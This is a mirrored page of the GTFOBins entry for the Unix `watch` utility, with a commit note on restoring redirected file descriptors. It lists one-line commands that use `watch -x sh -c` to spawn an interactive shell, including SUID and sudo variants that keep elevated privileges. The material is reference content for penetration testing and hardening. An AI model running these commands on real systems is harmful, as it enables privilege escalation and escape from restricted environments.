1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/watch.md
Andrea Cardaci 8eaf595fe6 Make interactive execute whenever possible
Here the trick is to restore those file descriptors (0, 1, 2) that have been
redirected (`dup2`) by the parent process.

First we need to determine which one has been redirected, for example by looking
at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0,
1 or 2 respectively, where `x` is any file descriptor number that points to the
TTY.

It may happen that no file descriptor is unchanged, in that case we can use
`tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-07 01:11:06 +02:00

392 B

functions
execute-interactive suid-enabled sudo-enabled suid-limited
code
watch -x sh -c 'reset; exec sh 1>&0 2>&0'
description code
This keeps the SUID privileges only if the `-x` option is present. ./watch -x sh -c 'reset; exec sh 1>&0 2>&0'
code
sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
code
./watch 'reset; exec sh 1>&0 2>&0'